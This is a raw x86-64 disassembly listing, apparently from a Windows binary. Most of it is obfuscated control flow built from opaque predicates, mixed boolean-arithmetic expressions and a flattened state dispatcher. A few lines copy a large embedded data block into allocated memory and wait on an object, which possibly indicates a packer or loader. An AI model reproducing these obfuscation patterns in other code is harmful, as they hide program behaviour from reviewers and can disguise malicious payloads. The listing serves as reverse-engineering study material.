mov ebx, ecx
xor ebx, 1
and ebx, ecx
mov edx, ecx
not edx
and edx, 0xf7092910
and ecx, 0x8f6d6ef
or ecx, edx
mov edi, ecx
xor edi, 0xb0c60a
mov edx, ebx
not edx
xor ecx, 0xf7092911
mov esi, edx
and esi, 0x6b4f30f5
and ebx, 0x94b0cf0a
or ebx, esi
or edx, ecx
and ecx, 0x6b4f30f5
and edi, 0x94b0cf0a
or edi, ecx
xor edi, ebx
not edx
or edx, edi
mov ecx, edx
not ecx
mov ebx, edx
xor ebx, 0x6fea1939
and ebx, edx
or edx, 0x9015e6c6
mov edi, ebx
not edi
mov esi, edx
and esi, 0x77cb88e1
and ecx, 0x8201118
or ecx, esi
or edx, edi
and edi, 0x77cb88e1
and ebx, 0x8834771e
or ebx, edi
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x9015e6c6
and edx, 0x6fea1939
or edx, ecx
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
mov ebx, eax
xor bl, cl
not bl
and bl, cl
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor dl, 1
xor al, 1
mov ecx, edx
or cl, al
xor al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x899abd01
mov ebx, 0x6ee3f7e4
cmovne edx, ebx
test al, 1
mov eax, edx
mov ebx, 0x899abd01
jmp 0x14019cc81
mov eax, 0x937ab197
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea eax, [rdx - 1]
imul eax, edx
mov esi, eax
not esi
mov edx, esi
and edx, 0xc18896ff
mov edi, eax
and edi, 0x3e776900
or edi, edx
mov edx, edi
xor edx, 0x10200100
xor edi, 0x1009200
mov ecx, esi
or ecx, 0x1560bb3a
mov ebx, ecx
not ebx
or edi, 0xa124440
and edi, 0xf52fe40
and edx, 0x1020013a
or edx, edi
and ecx, 0xf52fe40
and ebx, 0xe08d0085
or ebx, ecx
xor ebx, edx
mov ecx, ebx
not ecx
and ecx, 0x447679ad
and ebx, 0xbb898652
or ebx, ecx
mov ecx, ebx
xor ecx, 0xaee93d69
xor ebx, 0x5116c296
and esi, ebx
and ecx, eax
or ecx, esi
xor ebx, ecx
test ebx, ecx
sete al
setne r9b
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
mov ecx, ebx
xor cl, r9b
xor cl, 1
or cl, dl
and al, dl
and bl, r9b
or bl, al
xor bl, 1
mov eax, ecx
or al, bl
xor bl, cl
mov ecx, eax
xor cl, bl
mov ecx, 0xd8e1e69b
mov edx, 0x91416f95
cmovne ecx, edx
test bl, bl
mov edx, ecx
mov ebx, 0xd8e1e69b
cmovne edx, ebx
test al, al
jmp 0x1401a2170
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xcc2200
mov ebx, ecx
and ebx, 0x252008c0
or ebx, edx
xor ebx, 0x252008c0
and ecx, 0xda13d53f
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xda13d53f
and ecx, 0x25ec2ac0
or ecx, edx
mov edx, ecx
mov ebx, ecx
xor ebx, 0x9e256e42
and ebx, ecx
not ecx
and ecx, 0x9ab12ab0
and edx, 0x654ed54f
or edx, ecx
mov r9d, edx
not r9d
mov ecx, edx
xor ecx, 0x9a212a00
or ecx, 0x61da91bd
mov esi, ecx
not esi
mov eax, ebx
not eax
mov edi, ecx
and edi, 0x699b1d38
and esi, 0x96246242
or esi, edi
or ecx, eax
and eax, 0x699b1d38
and ebx, 0x9664e2c7
or ebx, eax
xor ebx, esi
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0xeb2cef36
and ecx, 0x14d310c9
or ecx, eax
mov ebx, ecx
xor ebx, 0x8c66a80
and r9d, 1
xor edx, 0x654ed54e
or edx, r9d
mov eax, edx
not eax
and eax, 0x5b173ba8
and edx, 0xa4e8c457
or edx, eax
mov eax, edx
xor eax, 0x24c8c010
xor edx, 0x5b173ba8
xor ecx, 0x75098175
mov edi, ecx
and edi, 0xc330144f
and ebx, 0x3ccfebb0
or ebx, edi
or ecx, edx
and edx, 0xc330144f
and eax, 0x3ccfebb0
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
not eax
and ecx, eax
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0xb2bbc85
and ecx, 0xf4d4437a
or ecx, eax
mov eax, ecx
xor eax, 0x840072
xor ecx, 0x2031c81
and ecx, 0xf6535f89
and eax, 0x9aca076
or eax, ecx
xor eax, 0x9aca076
sete r9b
setne cl
cmp r8d, 9
setg r10b
cmp r8d, 0xa
setl al
mov r8d, eax
xor r8b, cl
mov ebx, ecx
xor bl, r9b
and bl, cl
mov ecx, ebx
not cl
and cl, bl
mov edx, ecx
and dl, bl
xor cl, bl
or cl, dl
xor cl, 1
mov edx, ecx
or dl, r10b
xor cl, r10b
not cl
and cl, r10b
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
and dl, r9b
xor al, r9b
or al, dl
mov edx, r8d
xor dl, al
or al, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
xor cl, al
test al, 1
mov eax, 0x6df48d2b
mov edi, 0xa549cdd7
cmovne eax, edi
test bl, 1
mov edx, 0x6df48d2b
jmp 0x140192774
mov rcx, qword [rbp - 0x48]
sub rsp, 0x20
mov r8d, 0xa8600
lea rdx, [0x1401bb2e0]
call sub.VCRUNTIME140.dll_memcpy
mov edx, 0xa8600
mov ecx, 0x42
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
add rsp, 0x20
mov rcx, qword [rbp - 0x68]
sub rsp, 0x20
mov edx, 0xa8600
call fcn.140077210
add rsp, 0x20
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x75ad85ce
and ecx, edx
not edx
and edx, 0x75ad85ce
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x8a527a31
and ecx, 0x75ad85ce
or ecx, edx
mov eax, ecx
xor eax, 1
and eax, ecx
mov edx, ecx
not edx
and edx, 0xee13cee7
and ecx, 0x11ec3118
or ecx, edx
mov edi, ecx
xor edi, 0x10843108
mov ebx, eax
not ebx
xor ecx, 0xee13cee6
mov esi, ebx
and esi, 0x6f698c71
and eax, 0x9096738e
or eax, esi
or ebx, ecx
and ecx, 0x6f698c71
and edi, 0x9096738e
or edi, ecx
xor edi, eax
not ebx
or ebx, edi
mov ecx, ebx
mov edx, ebx
xor edx, 0xf8191ea6
and edx, ebx
not ebx
and ebx, 0xb8101ea4
and ecx, 0x40090002
or ecx, ebx
mov eax, ecx
xor eax, 0x40010000
xor ecx, 0xbff6fffd
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x2aa82d17
and eax, 0xd01112a0
or eax, edi
or ecx, ebx
and ebx, 0x2aa82d17
and edx, 0xd557d2e8
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x7e6e159
and ecx, 0xf8191ea6
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x8276bbb2
and ecx, 0x7d89444d
or ecx, edx
xor ecx, 0x7d89444d
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg r8b
mov edx, r8d
xor dl, al
xor dl, 1
or r8b, dl
and dl, al
xor al, cl
and al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
xor dl, r8b
xor dl, 1
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x2a160a86
mov ebx, 0xda6392f3
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0x2a160a86
jmp 0x1401a26bd
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
or edx, 1
mov ebx, edx
not ebx
mov ecx, edi
or ecx, 0xc2e55706
and edx, 0xc2e55707
and ebx, 0x3d1aa8f8
or ebx, edx
and ecx, 0xc2e55707
xor ecx, ebx
not ecx
mov edx, ecx
and edx, edi
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
and edx, 0x19dd39f7
and ecx, 0xe622c608
or ecx, edx
xor ecx, 0xe622c608
sete r9b
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov edx, eax
and dl, cl
mov ebx, eax
xor bl, cl
or bl, dl
mov r10d, ebx
xor r10b, 1
xor al, r9b
not al
and al, r9b
xor cl, r8b
not cl
and cl, r8b
mov edx, eax
xor dl, 1
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, bl
or bl, al
and al, r10b
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x6ef73f5b
mov edx, 0x2553243c
cmovne ecx, edx
test al, al
mov eax, ecx
mov edx, 0x6ef73f5b
cmovne eax, edx
test bl, 1
jmp 0x14019970b
mov eax, 0xfb43891c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x53553895
and edx, ecx
and ecx, 0xacaac76a
or ecx, ebx
mov ebx, ecx
xor ebx, 0xa4024240
xor ecx, 0x53553895
mov edi, edx
not edi
mov esi, ecx
and esi, 0xaf9a53e
and ebx, 0xf5065ac1
or ebx, esi
or ecx, edi
and edi, 0xaf9a53e
and edx, 0xf5065ac1
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xb6726291
mov edi, ecx
and edi, 0x498d9d6e
or edi, edx
mov edx, edi
not edx
and edx, 0x498d9d6f
and edi, 0xb6726290
or edi, edx
and ebx, 1
xor ecx, 0xfffffffe
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x9626e180
and ecx, 0x69d91e7f
or ecx, ebx
mov ebx, ecx
xor ebx, 0x41090e3a
xor ecx, 0x9626e180
mov edx, edi
not edx
mov esi, edx
and esi, 0x2af6d145
and edi, 0xd5092eba
or edi, esi
or edx, ecx
and ecx, 0x2af6d145
and ebx, 0xd5092eba
or ebx, ecx
xor ebx, edi
not edx
or edx, ebx
mov ecx, edx
not ecx
and edx, 0xad1396e7
and ecx, 0x52ec6918
or ecx, edx
xor ecx, 0xad1396e7
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
and dl, bl
or bl, r8b
xor bl, 1
or bl, cl
xor bl, 1
and al, r8b
or al, dl
xor al, bl
mov ecx, eax
not cl
and cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xee5d790e
mov ebx, 0xc8b5b2eb
cmovne edx, ebx
test al, al
mov eax, edx
cmovne eax, ebx
jmp 0x1401a1193
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x28f41d2c
and ecx, 0xd70be2d3
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd70be2d3
and ecx, 0x28f41d2c
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xd8eb034e
and ecx, 0x2714fcb1
or ecx, edx
xor ecx, 0x2714fcb0
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xb6f4648e
and ecx, 0x490b9b71
or ecx, ebx
xor ecx, 0xb6f4648e
xor edx, ecx
test edx, ecx
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl al
mov ebx, edx
or bl, al
xor dl, al
not dl
and dl, al
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
xor cl, r8b
and r8b, cl
xor cl, 1
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, ecx
xor al, 1
mov ebx, edx
xor bl, cl
and bl, dl
and cl, dl
xor dl, 1
and dl, al
or cl, dl
mov eax, ebx
xor al, cl
test cl, 1
mov ecx, 0x3e3e2b80
mov edi, 0x814e6090
cmovne ecx, edi
test bl, 1
mov edx, 0x3e3e2b80
cmove ecx, edx
test al, 1
cmovne ecx, edi
jmp 0x1401a26c0
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x9bace500
and eax, 0x64531aff
or eax, ecx
mov ecx, eax
xor ecx, 0xb800400
mov edx, eax
xor edx, 0x64531aff
mov ebx, edx
and ebx, 0xd42ceb1c
and ecx, 0x2bd314e3
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x2bd314e2
and ecx, 0xd42ceb1d
or ecx, ebx
and edx, 1
xor eax, 0x64531afe
or eax, edx
not eax
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
mov edx, eax
xor edx, 0x70d553b2
and edx, eax
not eax
and eax, 0x70c50180
and ecx, 0x105232
or ecx, eax
xor ecx, 0x105232
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0x8f2aac4d
and edx, 0x70d553b2
or edx, eax
mov eax, edx
not eax
and edx, 0xa55b39a1
and eax, 0x5aa4c65e
or eax, edx
xor eax, 0x5aa4c65e
sete al
setne cl
cmp dword [0x1402656c4], 9
setg bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ebx
xor dl, al
not dl
and dl, al
or bl, al
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
and dl, cl
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test al, al
mov eax, 0x6bd832dc
mov edi, 0x86724576
cmovne eax, edi
test bl, bl
mov edx, 0x6bd832dc
cmove eax, edx
test cl, 1
cmovne eax, edi
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x1b44de21
and edx, 0xe4bb21de
or edx, ecx
mov ebx, edx
xor ebx, 0x24232118
xor edx, 0x1b44de21
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0xd0d8d6c7
and ebx, 0x2f272938
or ebx, edx
mov edx, ebx
xor edx, 0xf032000
xor ebx, 0xd0d8d6c6
mov esi, ecx
and esi, 0x30e45ffd
and edi, 0xcf1ba002
or edi, esi
or ecx, ebx
and ebx, 0x30e45ffd
and edx, 0xcf1ba002
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xcccd6c58
and edx, 0x333293a7
or edx, ecx
xor edx, 0xcccd6c58
setne r8b
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and r8b, al
or al, dl
xor al, 1
or al, cl
and bl, dl
or bl, r8b
mov ecx, eax
xor cl, bl
xor bl, 1
or bl, al
mov eax, ecx
xor al, bl
not al
test al, 1
mov eax, 0x6d9a1821
mov edx, 0x72031258
cmovne eax, edx
test cl, cl
mov ecx, 0x6d9a1821
cmovne ecx, eax
test bl, bl
jmp 0x14019f4d9
mov eax, 0x14c7001e
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xb585daa0
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x21dd73c7
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x378f4948
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov rcx, qword [rbp - 8]
sub rsp, 0x20
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rsp, 0x20
mov eax, 0x86724576
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xb8e35fab
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x5d427808
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov r9d, dword [0x1402656c4]
lea r8d, [rcx - 1]
imul r8d, ecx
mov ecx, r8d
not ecx
mov edi, ecx
and edi, 0x86b71d53
mov edx, r8d
and edx, 0x7948e2ac
or edx, edi
mov edi, edx
xor edi, 0x41008024
xor edx, 0x82370843
mov ebx, r8d
xor ebx, 0xfb77886f
and ebx, r8d
or edx, 0x4887790
mov eax, ebx
not eax
mov esi, edx
and esi, 0x3ae96218
and edi, 0xc1168867
or edi, esi
or edx, eax
and eax, 0x3ae96218
and ebx, 0xc5169de7
or ebx, eax
xor ebx, edi
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x4887791
and edx, 0xfb77886e
or edx, eax
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0x1d45a957
and edx, 0xe2ba56a8
or edx, eax
and r8d, 0x1d45a957
and ecx, 0xe2ba56a8
or ecx, r8d
xor ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete r8b
setne r10b
cmp r9d, 9
setg r11b
cmp r9d, 0xa
setl cl
mov ebx, r10d
xor bl, r8b
and bl, r10b
mov r9d, ebx
xor r9b, 1
mov edx, r9d
and dl, bl
mov eax, edx
xor al, 1
xor dl, bl
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov edx, eax
and dl, cl
xor al, 1
and al, r11b
or al, dl
and r10b, cl
and r11b, r8b
or r11b, r10b
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
xor cl, 1
mov edx, r11d
and dl, cl
xor cl, r11b
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov r8d, edx
xor r8b, 1
mov r9d, eax
xor r9b, 1
mov ebx, r9d
and bl, al
mov ecx, r8d
and cl, dl
mov r10d, r9d
and r10b, bl
xor bl, r9b
or bl, r10b
mov r9d, r8d
and r9b, cl
xor cl, r8b
or cl, r9b
xor cl, bl
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0xcf06e47a
mov ebx, 0x90a79316
cmovne edx, ebx
test cl, 1
cmove edx, ebx
test al, 1
mov eax, 0xcf06e47a
jmp 0x1401a0e8b
mov rax, qword [rbp - 0x60]
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x556b8365
and edx, 0xaa947c9a
or edx, ecx
mov ecx, edx
xor ecx, 0x22904418
xor edx, 0x500a0200
and edx, 0xd80e3a82
and ecx, 0x27f1c57d
or ecx, edx
mov edi, ecx
xor edi, 0xd80e3a82
mov edx, ecx
xor edx, 0x27f1c57d
xor ecx, 0xcb45bf5
mov ebx, ecx
and ebx, edx
and ecx, edi
mov esi, ebx
and esi, ecx
xor ecx, ebx
or ecx, esi
mov ebx, ecx
not ebx
and ebx, 0x328c268e
and ecx, 0xcd73d971
or ecx, ebx
mov ebx, ecx
xor ebx, 0x10001807
and edi, 0xd6c943b7
mov esi, edx
and esi, 0x2936bc48
or esi, edi
xor esi, 0xd6c943b6
and edx, 1
or edx, esi
mov edi, edx
not edi
and edi, 0x118b5f4
and edx, 0xfee74a0b
or edx, edi
mov edi, edx
xor edi, 0x36004803
xor ecx, 0xe63647f8
xor edx, 0x118b5f4
mov esi, ecx
and esi, 0xc9efa7c8
and ebx, 0x36105837
or ebx, esi
or ecx, edx
and edx, 0xc9efa7c8
and edi, 0x36105837
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
mov edx, ecx
not edx
and ecx, 0xb5536331
and edx, 0x4aac9cce
or edx, ecx
xor edx, 0xb5536331
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov ebx, r10d
xor bl, cl
and bl, r10b
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov r11d, r9d
mov ebx, ecx
or cl, r9b
or r9b, al
xor al, 1
xor r9b, 1
or al, r8b
xor al, 1
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
and r11b, r10b
and bl, r8b
or bl, r11b
xor r10b, r8b
xor cl, 1
or cl, r10b
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and cl, bl
and al, dl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
test bl, 1
mov edx, 0xe2d7af61
mov ebx, 0xa2ac13f1
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0xe2d7af61
jmp 0x1401a0e8b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
or ecx, 0x3f991442
mov ebx, ecx
not ebx
mov edx, edi
xor edx, 0xc066ebbd
and edx, edi
mov esi, edx
not esi
mov eax, ecx
and eax, 0x8356b1e7
and ebx, 0x40204a18
or ebx, eax
or ecx, esi
and esi, 0x8356b1e7
and edx, 0x7ca94e18
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x8a6170ff
and ecx, 0x759e8f00
or ecx, eax
mov eax, ecx
xor eax, 0xb5f864bc
and eax, edi
not edi
xor ecx, 0x4a079b43
and edi, ecx
or eax, edi
not eax
or eax, ecx
cmp eax, 0xffffffff
sete al
setne cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
and cl, bl
and dl, al
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
mov ecx, ebx
xor cl, al
not cl
and cl, al
or bl, al
mov eax, ebx
xor al, cl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
or cl, al
xor cl, dl
mov eax, ecx
xor al, 1
and al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xcdd99106
mov ebx, 0x602fa342
cmovne edx, ebx
test cl, 1
mov ecx, edx
jmp 0x14019d10f
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea r9d, [rcx - 1]
imul r9d, ecx
mov edi, r9d
not edi
mov ebx, r9d
xor ebx, 0x290a82ee
and ebx, r9d
mov edx, r9d
or edx, 0xd6f57d11
mov esi, ebx
not esi
mov eax, edx
and eax, 0xb5beb82f
mov ecx, edi
and ecx, 0x80002c0
or ecx, eax
or edx, esi
and esi, 0xb5beb82f
and ebx, 0x4a4147d0
or ebx, esi
xor ebx, ecx
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x782888cd
and edx, 0x87d77732
or edx, eax
mov eax, edx
xor eax, 0xa648c445
xor edx, 0x51220a22
mov ecx, edx
and ecx, 0x489539b8
and eax, 0xb76ac647
or eax, ecx
and r9d, 0x489539b8
and edi, 0xb76ac647
or edi, r9d
xor edi, eax
xor edx, edi
test edx, edi
setne r9b
sete cl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
mov eax, ebx
xor al, cl
and r9b, bl
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
not al
and dl, cl
or dl, r9b
mov ecx, edx
xor cl, 1
and dl, bl
or bl, cl
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0xa8e3a925
mov edx, 0xc5118964
cmovne eax, edx
test cl, cl
mov ecx, eax
mov edx, 0xa8e3a925
jmp 0x140191ed9
mov eax, 0xfffc3757
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov rax, qword [rbp - 8]
mov eax, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rax - 1]
imul edi, eax
mov eax, edi
or eax, 1
mov ebx, eax
not ebx
mov edx, edi
xor edx, 0xfffffffe
and edx, edi
mov esi, edx
not esi
mov ecx, eax
and ecx, 0x7c1e74b3
and ebx, 0x83e18b4c
or ebx, ecx
or eax, esi
and esi, 0x7c1e74b3
and edx, 0x83e18b4c
or edx, esi
xor edx, ebx
not eax
or eax, edx
mov ecx, eax
and eax, edi
not edi
not ecx
and edi, ecx
or eax, edi
not eax
or eax, ecx
cmp eax, 0xffffffff
sete r9b
setne cl
cmp r8d, 0xa
setl al
cmp r8d, 9
setg dl
mov ebx, edx
xor bl, al
and bl, dl
mov edx, ecx
xor dl, r9b
and dl, cl
mov ecx, ebx
not cl
and cl, bl
mov r8d, ecx
and r8b, bl
xor cl, bl
or cl, r8b
xor cl, 1
mov ebx, ecx
xor bl, dl
not bl
and bl, dl
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, eax
or dl, r9b
xor dl, 1
xor al, r9b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x1bfc307c
mov ebx, 0xeea90cf
cmovne eax, ebx
test cl, 1
cmove eax, ebx
not dl
test dl, 1
mov ecx, 0x1bfc307c
jmp 0x14019970b
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x641b48c7
mov edi, ecx
and edi, 0x9be4b738
or edi, edx
mov edx, edi
xor edx, 0xaa01208
xor edi, 0x20134046
mov esi, ecx
or esi, 0xb157e576
and edi, 0xb157e576
and edx, 0x4ea81a88
or edx, edi
and esi, 0xb157e577
xor esi, edx
not esi
and ebx, 0x3d304665
and ecx, 0xc2cfb99a
or ecx, ebx
xor ecx, 0xc2cfb99a
mov edx, esi
and edx, ecx
xor ecx, esi
or ecx, edx
mov edx, ecx
not edx
and edx, 0x50617446
and ecx, 0xaf9e8bb9
or ecx, edx
xor ecx, 0xaf9e8bb9
sete al
cmp r8d, 9
setg bl
cmp r8d, 0xa
setl r9b
xor r9b, al
mov r8d, r9d
xor r8b, 1
xor al, bl
and bl, al
mov edx, eax
xor dl, bl
xor bl, 1
xor dl, 1
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
xor al, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
mov ecx, edx
xor cl, 1
mov ebx, r8d
and bl, r9b
mov eax, ecx
and al, dl
xor bl, 1
mov r10d, r9d
xor r10b, bl
or bl, r9b
xor bl, 1
or bl, r10b
xor r8b, cl
xor cl, al
xor al, 1
or al, dl
xor al, 1
or al, cl
xor al, bl
or dl, r9b
xor dl, 1
or dl, r8b
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xa93e1bf7
mov ebx, 0xdc11ba47
cmovne ecx, ebx
test dl, 1
mov edx, 0xa93e1bf7
jmp 0x140191413
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x5276fa02
mov eax, ecx
and eax, 0xad8905fc
or eax, edx
mov edi, eax
xor edi, 0x80900fc
xor eax, 0x2368002
mov edx, ecx
or edx, 0xa7b68502
and eax, 0xa7b68502
and edi, 0x58497afc
or edi, eax
and edx, 0xa7b68503
xor edx, edi
mov eax, edx
not eax
and eax, 0xdcb0b9cc
and edx, 0x234f4633
or edx, eax
xor edx, 0x234f4633
and ebx, 0x684ad047
and ecx, 0x97b52fb8
or ecx, ebx
xor ecx, 0x97b52fb8
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x1402656c4], 9
setg bl
mov edx, ebx
and dl, al
xor bl, al
or dl, bl
mov eax, edx
not al
mov ecx, ebx
xor cl, 1
and bl, dl
or dl, cl
and cl, al
or cl, bl
mov eax, edx
xor al, cl
mov eax, 0xc7394962
mov ebx, 0xc4f4985f
cmovne eax, ebx
test cl, cl
mov ecx, eax
mov ebx, 0xc7394962
cmovne ecx, ebx
test dl, dl
jmp 0x14019f4d9
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x92cc6500
mov ebx, ecx
and ebx, 0x1000882
or ebx, edx
xor ebx, 0x1000882
and ecx, 0x6c33927d
